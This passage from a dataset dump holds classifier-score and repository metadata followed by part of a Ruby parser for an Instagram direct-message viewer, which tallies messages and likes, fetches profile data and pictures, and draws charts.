0.011287856284269584, "Technical Writing": 0.023433322303171383, "Transcript / Interview": 0.00010664473604744602, "Tutorial / How-To Guide": 0.0011936703856308345, "User Reviews": 3.700335257079568e-05, "NONE": 0.9615347642657602}, "tertiary": {"Academic Writing": 0.00013572608203247496, "Content Listing": 5.9963246906961194e-05, "Creative Writing": 9.062965894131731e-05, "Customer Support Page": 4.1561696805241495e-05, "Q&A Forum": 3.690390300625586e-05, "Discussion Thread": 3.394810873737481e-05, "Comment Section": 0.00011300760100230841, "Missing Content": 0.00028206282811819, "Knowledge Article": 0.0007396917457374913, "Legal Notices": 0.00025060357754688744, "News Article": 5.004949658028861e-05, "Organizational Announcement": 4.202549359202279e-05, "Nonfiction Writing": 6.917377380192227e-05, "Organizational About Page": 5.8578333626848594e-05, "Personal About Page": 3.589519858306835e-05, "Personal Blog": 3.6325368904497196e-05, "Product Page": 2.8608282937064414e-05, "Spam / Ads": 6.952986566088118e-05, "Structured Data": 0.004615743068723078, "Technical Writing": 0.01205481688690265, "Transcript / Interview": 7.231861893234698e-05, "Tutorial / How-To Guide": 0.0010762482186784472, "User Reviews": 2.3210474690176245e-05, "NONE": 0.9799833784695523}, "structured_records": {"false": 0.865521512299147, "true": 0.13447848770085302}, "procedural_steps": {"false": 0.9888251835861199, "true": 0.011174816413880049}, "worked_solution": {"false": 0.7780616246607968, "true": 0.22193837533920327}, "contextual_dialogue": {"false": 0.9999921236300608, "true": 7.876369939160841e-06}, "content_quality": {"-2": 0.0025468087336433646, "-1": 0.004786526064237774, "0": 0.06514283228286702, "1": 0.48397557225877935, "2": 0.4435482606604726}, "noise_severity": {"0": 0.9785692714668074, "1": 0.020116292103580263, "2": 0.0007871288469902282, "3": 0.0002913753489404454, "4": 0.00023593223368190643}, "missing_content_severity": {"0": 0.9984155332766453, "1": 0.0008277821742661425, "2": 0.00048704194360376594, "3": 0.00019857376212586707, "4": 7.106884335901232e-05}, "factual_density": {"0": 0.004600831503521559, "1": 0.010109992427839146, "2": 0.09775974562347758, "3": 0.4336492809241918, "4": 0.45388014952096994}, "pretraining_utility": {"-2": 0.008241751870866613, "-1": 0.09289970016521244, "0": 0.3558033732702019, "1": 0.4538792900806129, "2": 0.08917588461310615}, "math_density": {"0": 0.9814209494059477, "1": 0.014396266798703646, "2": 0.0011545329982612512, "3": 0.0008068356622693418, "4": 0.0022214151348181168}, "code_density": {"0": 0.00019045629536694705, "1": 0.00035073161864407196, "2": 0.007451110363790514, "3": 0.06558325070930822, "4": 0.9264244510128903}, "reasoning_density": {"0": 0.3787606480021952, "1": 0.1532421236268753, "2": 0.21549870171571534, "3": 0.1403585301256401, "4": 0.11213999652957414}, "education_level": {"none": 0.000966627520593504, "0": 0.0012835622347067348, "1": 0.003698420542637264, "2": 0.3115249935056177, "3": 0.5675686418462991, "4": 0.11495775435014575}, "creative_writing_quality": {"not_applicable": 0.999513529852349, "-2": 5.373833596808726e-05, "-1": 9.271569317319817e-05, "0": 0.0002502605293678092, "1": 6.546616255958912e-05, "2": 2.428942658242121e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.606096103536974e-05, "Art & Design": 3.700944533929282e-05, "Law & Crime": 4.3956238019272766e-05, "Education & Careers": 3.14102272251391e-05, "Entertainment & Media": 2.069388180809898e-05, "Fashion & Beauty": 2.4276190299177745e-05, "Business, Economics & Finance": 0.00036728248803270103, "Food & Dining": 4.7244542731676174e-05, "Games & Gaming": 3.789868110432642e-05, "Electronics & Hardware": 4.916055332574499e-05, "Health, Healthcare & Wellness": 0.014361881613829376, "History & Geography": 2.816901204912901e-05, "Home, Pets & Hobbies": 2.6212497787442623e-05, "Industry & Production": 2.372146683984813e-05, "Language, Literature & Philosophy": 2.8171738883528802e-05, "Politics & Government": 4.2614168070249127e-05, "Religion & Spirituality": 3.986747026764019e-05, "Science, Mathematics & Engineering": 0.000256072159308544, "Relationships & Community": 7.218429453253256e-05, "Software Usage & Applications": 0.0002970578252909964, "Programming & Software Engineering": 0.9827476289736112, "Sports & Fitness": 4.243582772660531e-05, "Vehicles & Transportation": 1.5057782927973551e-05, "Travel & Tourism": 4.0699055988246155e-05, "Other / Uncovered Subject": 0.0012260415984785243, "Unknown / Insufficient Content": 6.719130548722058e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0009349746399358485, "Art & Design": 0.0004333809373059365, "Law & Crime": 0.0007970456826684371, "Education & Careers": 0.0003318502002102138, "Entertainment & Media": 0.00039222591008931967, "Fashion & Beauty": 0.00027170119838875595, "Business, Economics & Finance": 0.001563952990276511, "Food & Dining": 0.0003951295525253897, "Games & Gaming": 0.00029742434487790154, "Electronics & Hardware": 0.00046981184441231583, "Health, Healthcare & Wellness": 0.102750409072429, "History & Geography": 0.00026946753580158925, "Home, Pets & Hobbies": 0.00024255351324212757, "Industry & Production": 0.00017424799152888971, "Language, Literature & Philosophy": 0.00020942367967434857, "Politics & Government": 0.0004014820967452138, "Religion & Spirituality": 0.0003925069265989294, "Science, Mathematics & Engineering": 0.0011343465345803002, "Relationships & Community": 0.0002736884537630624, "Software Usage & Applications": 0.0016432046419702403, "Programming & Software Engineering": 0.03345062254041731, "Sports & Fitness": 0.0002684302928535887, "Vehicles & Transportation": 0.0001160570294725862, "Travel & Tourism": 0.00032332218658108583, "Other / Uncovered Subject": 0.0025546382546483937, "NONE": 0.8499081019490027}}, "probabilities": {"primary": {"Academic Writing": 7.351328104867051e-05, "Content Listing": 2.95145455151332e-05, "Creative Writing": 2.2783236088517986e-05, "Customer Support Page": 1.3897041884323401e-05, "Q&A Forum": 1.783719619094629e-05, "Discussion Thread": 1.2759941688008446e-05, "Comment Section": 1.7941153730367432e-05, "Missing Content": 2.5218262457999244e-05, "Knowledge Article": 9.450357583739368e-05, "Legal Notices": 4.992130575648143e-05, "News Article": 7.459009163158045e-06, "Organizational Announcement": 1.6091781483061767e-05, "Nonfiction Writing": 1.8431749687982426e-05, "Organizational About Page": 1.6796421283400122e-05, "Personal About Page": 1.1959172110790799e-05, "Personal Blog": 8.878098111889747e-06, "Product Page": 1.0796599887177516e-05, "Spam / Ads": 1.805815546773391e-05, "Structured Data": 0.0023158668058756997, "Technical Writing": 0.991265517355275, "Transcript / Interview": 3.20747578100502e-05, "Tutorial / How-To Guide": 0.00027434000878697433, "User Reviews": 9.24164922144635e-06, "Other / Unknown": 0.005636598895637777}, "secondary": {"Academic Writing": 0.00019234058513367306, "Content Listing": 0.00010363501071130728, "Creative Writing": 0.00013720880575881887, "Customer Support Page": 7.045446469548794e-05, "Q&A Forum": 5.9325439137922374e-05, "Discussion Thread": 5.489611021286223e-05, "Comment Section": 0.00011450757655061458, "Missing Content": 0.00023973668523508498, "Knowledge Article": 0.0006806383509380291, "Legal Notices": 0.00017359960157475413, "News Article": 8.0154255267137e-05, "Organizational Announcement": 7.493164929834585e-05, "Nonfiction Writing": 8.489714430195954e-05, "Organizational About Page": 7.935699166053233e-05, "Personal About Page": 6.201344141002908e-05, "Personal Blog": 5.945071988358277e-05, "Product Page": 4.1735942755293265e-05, "Spam / Ads": 9.785589802434373e-05, "Structured Data": 0.011287856284269584, "Technical Writing": 0.023433322303171383, "Transcript / Interview": 0.00010664473604744602, "Tutorial / How-To Guide": 0.0011936703856308345, "User Reviews": 3.700335257079568e-05, "NONE": 0.9615347642657602}, "tertiary": {"Academic Writing": 0.00013572608203247496, "Content Listing": 5.9963246906961194e-05, "Creative Writing": 9.062965894131731e-05, "Customer Support Page": 4.1561696805241495e-05, "Q&A Forum": 3.690390300625586e-05, "Discussion Thread": 3.394810873737481e-05, "Comment Section": 0.00011300760100230841, "Missing Content": 0.00028206282811819, "Knowledge Article": 0.0007396917457374913, "Legal Notices": 0.00025060357754688744, "News Article": 5.004949658028861e-05, "Organizational Announcement": 4.202549359202279e-05, "Nonfiction Writing": 6.917377380192227e-05, "Organizational About Page": 5.8578333626848594e-05, "Personal About Page": 3.589519858306835e-05, "Personal Blog": 3.6325368904497196e-05, "Product Page": 2.8608282937064414e-05, "Spam / Ads": 6.952986566088118e-05, "Structured Data": 0.004615743068723078, "Technical Writing": 0.01205481688690265, "Transcript / Interview": 7.231861893234698e-05, "Tutorial / How-To Guide": 0.0010762482186784472, "User Reviews": 2.3210474690176245e-05, "NONE": 0.9799833784695523}, "structured_records": {"false": 0.865521512299147, "true": 0.13447848770085302}, "procedural_steps": {"false": 0.9888251835861199, "true": 0.011174816413880049}, "worked_solution": {"false": 0.7780616246607968, "true": 0.22193837533920327}, "contextual_dialogue": {"false": 0.9999921236300608, "true": 7.876369939160841e-06}, "content_quality": {"-2": 0.0025468087336433646, "-1": 0.004786526064237774, "0": 0.06514283228286702, "1": 0.48397557225877935, "2": 0.4435482606604726}, "noise_severity": {"0": 0.9785692714668072, "1": 0.02011629210358026, "2": 0.000787128846990228, "3": 0.00029137534894044535, "4": 0.00023593223368190638}, "missing_content_severity": {"0": 0.9984155332766451, "1": 0.0008277821742661423, "2": 0.00048704194360376583, "3": 0.000198573762125867, "4": 7.106884335901231e-05}, "factual_density": {"0": 0.004600831503521559, "1": 0.010109992427839146, "2": 0.09775974562347758, "3": 0.4336492809241918, "4": 0.45388014952096994}, "pretraining_utility": {"-2": 0.008241751870866613, "-1": 0.09289970016521244, "0": 0.3558033732702019, "1": 0.4538792900806129, "2": 0.08917588461310615}, "math_density": {"0": 0.9814209494059477, "1": 0.014396266798703646, "2": 0.0011545329982612512, "3": 0.0008068356622693418, "4": 0.0022214151348181168}, "code_density": {"0": 0.00019045629536694705, "1": 0.00035073161864407196, "2": 0.007451110363790514, "3": 0.06558325070930822, "4": 0.9264244510128903}, "reasoning_density": {"0": 0.3787606480021952, "1": 0.1532421236268753, "2": 0.21549870171571534, "3": 0.1403585301256401, "4": 0.11213999652957414}, "education_level": {"none": 0.000966627520593504, "0": 0.0012835622347067348, "1": 0.003698420542637264, "2": 0.3115249935056177, "3": 0.5675686418462991, "4": 0.11495775435014575}, "creative_writing_quality": {"not_applicable": 0.999513529852349, "-2": 5.373833596808726e-05, "-1": 9.271569317319817e-05, "0": 0.0002502605293678092, "1": 6.546616255958912e-05, "2": 2.428942658242121e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.6060961035369745e-05, "Art & Design": 3.7009445339292825e-05, "Law & Crime": 4.395623801927277e-05, "Education & Careers": 3.141022722513911e-05, "Entertainment & Media": 2.0693881808098983e-05, "Fashion & Beauty": 2.427619029917775e-05, "Business, Economics & Finance": 0.0003672824880327011, "Food & Dining": 4.724454273167618e-05, "Games & Gaming": 3.7898681104326424e-05, "Electronics & Hardware": 4.9160553325744995e-05, "Health, Healthcare & Wellness": 0.014361881613829378, "History & Geography": 2.8169012049129012e-05, "Home, Pets & Hobbies": 2.6212497787442626e-05, "Industry & Production": 2.3721466839848133e-05, "Language, Literature & Philosophy": 2.8171738883528806e-05, "Politics & Government": 4.261416807024913e-05, "Religion & Spirituality": 3.9867470267640194e-05, "Science, Mathematics & Engineering": 0.00025607215930854404, "Relationships & Community": 7.218429453253257e-05, "Software Usage & Applications": 0.00029705782529099644, "Programming & Software Engineering": 0.9827476289736113, "Sports & Fitness": 4.243582772660532e-05, "Vehicles & Transportation": 1.5057782927973553e-05, "Travel & Tourism": 4.069905598824616e-05, "Other / Uncovered Subject": 0.0012260415984785245, "Unknown / Insufficient Content": 6.719130548722059e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0009349746399358485, "Art & Design": 0.0004333809373059365, "Law & Crime": 0.0007970456826684371, "Education & Careers": 0.0003318502002102138, "Entertainment & Media": 0.00039222591008931967, "Fashion & Beauty": 0.00027170119838875595, "Business, Economics & Finance": 0.001563952990276511, "Food & Dining": 0.0003951295525253897, "Games & Gaming": 0.00029742434487790154, "Electronics & Hardware": 0.00046981184441231583, "Health, Healthcare & Wellness": 0.102750409072429, "History & Geography": 0.00026946753580158925, "Home, Pets & Hobbies": 0.00024255351324212757, "Industry & Production": 0.00017424799152888971, "Language, Literature & Philosophy": 0.00020942367967434857, "Politics & Government": 0.0004014820967452138, "Religion & Spirituality": 0.0003925069265989294, "Science, Mathematics & Engineering": 0.0011343465345803002, "Relationships & Community": 0.0002736884537630624, "Software Usage & Applications": 0.0016432046419702403, "Programming & Software Engineering": 0.03345062254041731, "Sports & Fitness": 0.0002684302928535887, "Vehicles & Transportation": 0.0001160570294725862, "Travel & Tourism": 0.00032332218658108583, "Other / Uncovered Subject": 0.0025546382546483937, "NONE": 0.8499081019490027}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9719, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9719, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:35:07.362762+00:00", "scoring_key_slot": "primary", "dataset_uid": "0010654f-0f6c-4a32-98fe-0100aef1acff", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "65c86bb4a92e0ad35afd5eeecabf5dd23407acc1a322f88820fbf56f8ecf7335", "source_metadata": {"uuid": "0010654f-0f6c-4a32-98fe-0100aef1acff", "repo_name": "simpledotorg/simple-server", "relative_path": "spec/services/merge_patient_service_spec.rb", "category": "TEST", "algo_rel_score": 0.7102834582328796, "quality_score": 6.876378536224365, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 3835, "repo_created_at": "2018-05-07T21:03:09.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 74, "forks": 39, "issues": 0, "pull_requests": 1}, "file_meta": {"content_id": "97a7c29fc16f36870f3f9df4bc5a235ad11870a4", "size_bytes": 5814, "file_timestamp": 1752753968, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "317dfb5ab78559bdc513e89f4eb1b02d7174e07b"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 3835, "repo_created_at": "2018-05-07T21:03:09.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 74, "forks": 39, "issues": 0, "pull_requests": 1}, "file_meta": {"content_id": "97a7c29fc16f36870f3f9df4bc5a235ad11870a4", "size_bytes": 5814, "file_timestamp": 1752753968, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "317dfb5ab78559bdc513e89f4eb1b02d7174e07b", "url": "https://github.com/simpledotorg/simple-server/blob/317dfb5ab78559bdc513e89f4eb1b02d7174e07b/spec/services/merge_patient_service_spec.rb"}, "gpt4o_tokens": 1162, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.3611919500482, "noise_severity": 0.023508404779109676, "missing_content_severity": 0.0026818627212873247, "factual_density": 3.3220979245312496, "pretraining_utility": 0.5228478553998795, "math_density": 0.028011500321306643, "code_density": 3.917700508525711, "reasoning_density": 1.453875103553523, "education_level": 2.791984159218715, "creative_writing_quality": -0.17708661014637592}, "score_applicability": {"education_level": 0.9990333724794065, "creative_writing_quality": 0.00048647014765110496}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/raphydaphy/instagram-dm-viewer/blob/4808c178b971a32f6ce21da7ced52e2a0c585cdf/parser.rb", "id": "ruby-0-780fbc2a1140d8fb6c050648a57a6b50", "text": "require \"rubygems\"\n\n# Image managment\nrequire \"gruff\"\nrequire \"gosu\"\nrequire \"mini_magick\"\n\n# Parse message data\nrequire \"json\"\nrequire \"date\"\nrequire 'active_support/core_ext/numeric/time'\n\n# Interact with Instagram API\nrequire \"net/http\"\nrequire 'uri'\nrequire \"open-uri\"\n\nmodule IGParser\n\t# Instagram was released in 2010\n\tTWENTY_TEN = Date.new(2010, 1, 1).to_time\n\n\t$user_cache = Hash.new\n\n\tclass MessageTotals\n\t\tattr_accessor :total, :participants, :sent, :received, :total_likes, :likes_given, :likes_received, :detailed_likes\n\n\t\tdef initialize(participants)\n\t\t\t@participants = Array.new\n\t\t\t@total = @received = @total_likes = 0\n\n\t\t\t@likes_given, @likes_received = Hash.new, Hash.new\n\t\t\t@detailed_likes, @sent = Hash.new, Hash.new\n\n\t\t\tparticipants.each do |participant|\n\t\t\t\tadd_participant(participant)\n\t\t\tend\n\t\tend\n\n\t\tdef add_participant(participant)\n\t\t\t@participants << participant\n\n\t\t\t@likes_given[participant] = 0\n\t\t\t@likes_received[participant] = 0\n\t\t\t@sent[participant] = 0\n\n\t\t\tlikes_hash = Hash.new\n\n\t\t\t@participants.each do |other_participant|\n\t\t\t\tlikes_hash[other_participant] = 0\n\t\t\t\tif (other_participant != participant)\n\t\t\t\t\t@detailed_likes[other_participant][participant] = 0\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t@detailed_likes[participant] = likes_hash\n\t\tend\n\n\t\t# Combine two seperate like totals from the same conversation\n\t\tdef +(other)\n\t\t\ttotals = MessageTotals.new(Array.new)\n\n\t\t\ttotals.total = @total + other.total\n\t\t\ttotals.received = @received + other.received\n\t\t\ttotals.total_likes = @total_likes + other.total_likes\n\n\t\t\t# TODO: deduplication here\n\n\t\t\t@sent.each do |user|\n\t\t\t\ttotals.sent[user] = @sent[user]\n\t\t\t\tif (other.sent.key?(user))\n\t\t\t\t\ttotals.sent[user] += other.sent[user]\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t@likes_given.each do |user|\n\t\t\t\ttotals.likes_given[user] = @likes_given[user]\n\t\t\t\tif (other.likes_given.key?(user))\n\t\t\t\t\ttotals.likes_given[user] += other.likes_given[user]\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t@likes_received.each do |user|\n\t\t\t\ttotals.likes_received[user] = @likes_received[user]\n\t\t\t\tif (other.likes_received.key?(user))\n\t\t\t\t\ttotals.likes_received[user] += other.likes_received[user]\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t@detailed_likes.each do |like_reciever, likes_hash|\n\t\t\t\tdetailed_likes = Hash.new\n\t\t\t\tlikes_hash.each do |like_giver|\n\t\t\t\t\tdetailed_likes[like_giver] = @detailed_likes[like_reciever][like_giver]\n\t\t\t\t\tif (other.detailed_likes.key?(like_reciever) && other.detailed_likes[like_reciever].key?(like_giver))\n\t\t\t\t\t\tdetailed_likes[like_giver] += other.detailed_likes[like_reciever][like_giver]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\ttotals.detailed_likes[like_reciever] = detailed_likes\n\t\t\tend\n\n\t\t\treturn totals\n\t\tend\n\tend\n\n\tclass User\n\t\tattr_reader :username, :name, :bio, :pfp, :followers, :following\n\n\t\tdef initialize(username, name=nil, bio=nil, pfp=nil, followers=nil, following=nil)\n\t\t\t@username = username\n\n\t\t\tif (name)\n\t\t\t\t@name = name\n\t\t\t\t@bio = bio\n\t\t\t\t@pfp = pfp\n\t\t\t\t@followers = followers\n\t\t\t\t@following = following\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tputs \"Fetching profile for #{username}...\"\n\n\t\t\tresponse = Net::HTTP.get(URI.parse(\"https://www.instagram.com/#{@username}/?__a=1\"))\n\n\t\t\tinfo = nil\n\n\t\t\tbegin\n\t\t\t\tinfo = JSON.parse(response)\n\t\t\trescue\n\t\t\t\t@name, @bio = \"Invalid User\", \"Invalid Bio\"\n\t\t\t\t@followers = @following = 0\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tif (info.key?(\"graphql\") && info[\"graphql\"].key?(\"user\"))\n\t\t\t\tuser_info = info[\"graphql\"][\"user\"]\n\n\t\t\t\t@name = user_info[\"full_name\"]\n\t\t\t\t@bio = user_info[\"biography\"]\n\t\t\t\t@followers = user_info[\"edge_followed_by\"]\n\t\t\t\t@following = user_info[\"edge_follow\"]\n\n\t\t\t\tif (!File.exists?(\"cache/icons/#{username}.png\"))\n\t\t\t\t\tpfp_url = user_info[\"profile_pic_url\"]\n\n\t\t\t\t\tprocess_pfp(pfp_url, \"cache/icons/#{username}.png\")\n\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t@pfp = Gosu::Image.new(\"cache/icons/#{username}.png\")\n\t\t\tend\n\t\tend\n\n\t\tdef process_pfp(link, out)\n\t\t\t# Convert to PNG and resize to a temp file\n\t\t\toriginal = MiniMagick::Image.open(link)\n\t\t\toriginal.resize(\"150x150\")\n\t\t\toriginal.format(\"png\")\n\t\t\toriginal.write(out)\n\n\t\t\t# Apply the circle cutout and add a border\n\t\t\tMiniMagick::Tool::Convert.new do |icon|\n\t\t\t\ticon.size(\"150x150\")\n\t\t\t\ticon << \"xc:transparent\"\n\t\t\t\ticon.fill(\"#9c9c9c\")\n\t\t\t\ticon.draw(\"translate 75, 75 circle 0, 0, 75, 0\")\n\t\t\t\ticon.fill(out)\n\t\t\t\ticon.draw(\"translate 75, 75 circle 0, 0, 73, 0\")\n\t\t\t\ticon.trim()\n\t\t\t\ticon << out\n\t\t\tend\n\t\tend\n\tend\n\n\tclass Conversation\n\t\tattr_reader :id, :participants, :users, :totals, :weekly_totals\n\t\tattr_accessor :title, :display_users, :graphs, :first_msg, :last_msg, :daily_messages\n\n\t\tdef initialize(id, username, participants, messages)\n\t\t\t@id = id\n\t\t\t@username = username\n\n\t\t\t@participants = participants\n\t\t\t@users = Hash.new\n\n\t\t\t@totals = MessageTotals.new(@participants)\n\t\t\t@weekly_totals = Hash.new\n\n\t\t\t# Populated in viewer.rb\n\t\t\t@graphs = Hash.new\n\n\t\t\t@participants.each do |participant|\n\t\t\t\tif (!$user_cache.key?(participant))\n\t\t\t\t\t@users[participant] = $user_cache[participant] = User.new(participant)\n\t\t\t\telse\n\t\t\t\t\t@users[participant] = $user_cache[participant]\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif (messages)\n\t\t\t\tprocess_messages(messages)\n\n\t\t\t\t# Make the title *after* processing messages\n\t\t\t\t# to ensure that users who left group chats\n\t\t\t\t# are still included in the user count\n\t\t\t\t@title = make_title()\n\n\t\t\t\t@display_users = Array.new\n\t\t\t\t\n\t\t\t\t# Track the two users who sent the most messages\n\t\t\t\tfirst_place = 0\n\t\t\t\tfirst_place_user = nil\n\n\t\t\t\tsecond_place = 0\n\t\t\t\tsecond_place_user = nil\n\n\t\t\t\t@totals.sent.each do |user, score|\n\t\t\t\t\tif (score > first_place && (user != @username || @participants.length == 1))\n\t\t\t\t\t\tfirst_place = score\n\t\t\t\t\t\tfirst_place_user = user\n\t\t\t\t\telsif (score > second_place && @participants.length > 2)\n\t\t\t\t\t\tsecond_place = score\n\t\t\t\t\t\tsecond_place_user = user\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif (first_place_user)\n\t\t\t\t\t@display_users[0] = first_place_user\n\t\t\t\t\tif (second_place_user)\n\t\t\t\t\t\t@display_users[1] = second_place_user\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\t@display_users[0] = @participants[0]\n\t\t\t\t\tif (@display_users[0] == username && participants.length > 1)\n\t\t\t\t\t\t@display_users[0] = @participants[1]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tdef set_totals(totals, weekly_totals)\n\t\t\t@totals = totals\n\t\t\t@weekly_totals = weekly_totals\n\t\tend\n\n\t\tdef +(other)\n\t\t\ttotals = @totals + other.totals\n\t\t\tweekly_totals = Hash.new\n\n\t\t\t@weekly_totals.each do |week_key|\n\t\t\t\tweekly_totals[week_key] = @weekly_totals[week_key]\n\t\t\t\tif (other.weekly_totals.key?(week_key))\n\t\t\t\t\tweekly_totals[week_key] += other.weekly_totals[week_key]\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tfirst_msg = @first_msg\n\t\t\tif (other.first_msg < first_msg)\n\t\t\t\tfirst_msg = other.first_msg\n\t\t\tend\n\n\t\t\tlast_msg = @last_msg\n\t\t\tif (other.last_msg > last_msg)\n\t\t\t\tlast_msg = other.last_msg\n\t\t\tend\n\n\t\t\tdaily_messages = (@daily_messages + other.daily_messages) / 2\n\n\t\t\tconvo = Conversation.new(@id, @username, @participants.clone, nil)\n\t\t\tconvo.set_totals(totals, weekly_totals)\n\t\t\t\n\t\t\tconvo.title = @title\n\t\t\tconvo.display_users = @display_users\n\n\t\t\tconvo.first_msg = first_msg\n\t\t\tconvo.last_msg = last_msg\n\t\t\tconvo.daily_messages = daily_messages\n\n\t\t\treturn convo\n\t\tend\n\n\t\t# Users who leave a group chat aren't\n\t\t# included in the participant list\n\t\tdef add_participant(username)\n\t\t\tif (!@participants.include?(username))\n\t\t\t\t@participants << username\n\t\t\t\t@totals.add_participant(username)\n\n\t\t\t\t# Retroactivly add the user to previous weekly totals\n\t\t\t\t@weekly_totals.each do |week_key, week_totals|\n\t\t\t\t\tweek_totals.add_participant(username)\n\t\t\t\tend\n\n\t\t\t\tif (!$user_cache.key?(username))\n\t\t\t\t\t@users[username] = $user_cache[username] = User.new(username)\n\t\t\t\telse\n\t\t\t\t\t@users[username] = $user_cache[username]\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tdef make_graphs\n\t\t\tself.weekly_totals_graph.write(\"cache/graphs/weekly-totals-#{@id}.png\")\n\t\t\tself.likes_graph.write(\"cache/graphs/likes-#{@id}.png\")\n\t\tend\n\n\t\tdef likes_graph\n\t\t\tg = Gruff::StackedBar.new(1000)\n\t\t\tg.hide_title = true\n\t\t\tg.theme = {\n\t\t\t\tcolors: %w[\"#e8de56\" \"#95e856\" \"#56e8b5\" \"#56e8d5\" \"#56b0e8\" \"#e89a56\" \"#9056e8\" \"#d756e8\"],\n\t marker_color: 'grey',\n\t font_color: 'black',\n\t background_colors: \"transparent\"\n\t }\n\n\t g.labels = @participants\n\n\t labels = Hash.new\n\t idx = 0\n\n\t @participants.each do |participant|\n\t \tif (@totals.likes_given[participant] > 0)\n\t\t \tlabels[idx] = participant\n\t\t \tidx += 1\n\t\t end\n\n\t\t if (@totals.likes_received[participant] > 0)\n\t\t \tdetailed_likes = Array.new\n\n\t\t \t@participants.each do |other_participant|\n\t\t \t\tif (@totals.likes_given[other_participant] > 0)\n\t\t \t\t\tdetailed_likes << @totals.detailed_likes[participant][other_participant]\n\t\t \t\tend\n\t\t \tend\n\n\t\t \tg.data(participant, detailed_likes)\n\t\t end\n\t end\n\n\t g.labels = labels\n\n\t\t\treturn g\n\t\tend\n\n\t\tdef weekly_totals_graph\n\t\t\tg = Gruff::StackedBar.new(1000)\n\t\t\tg.hide_title = true\n\t\t\tg.theme = {\n\t\t\t\tcolors: %w[\"#eb2a2a\" \"#4287f5\"],\n\t marker_color: 'grey',\n\t font_color: 'black',\n\t background_colors: \"transparent\"\n\t }\n\n\t\t\tweekly_messages = Array.new\n\t\t\tweekly_likes = Array.new\n\n\t\t\t@weekly_totals.sort.each do |week_totals|\n\t\t\t\tweek_likes = week_totals[1].total_likes\n\n\t\t\t\tweekly_messages << week_totals[1].total - 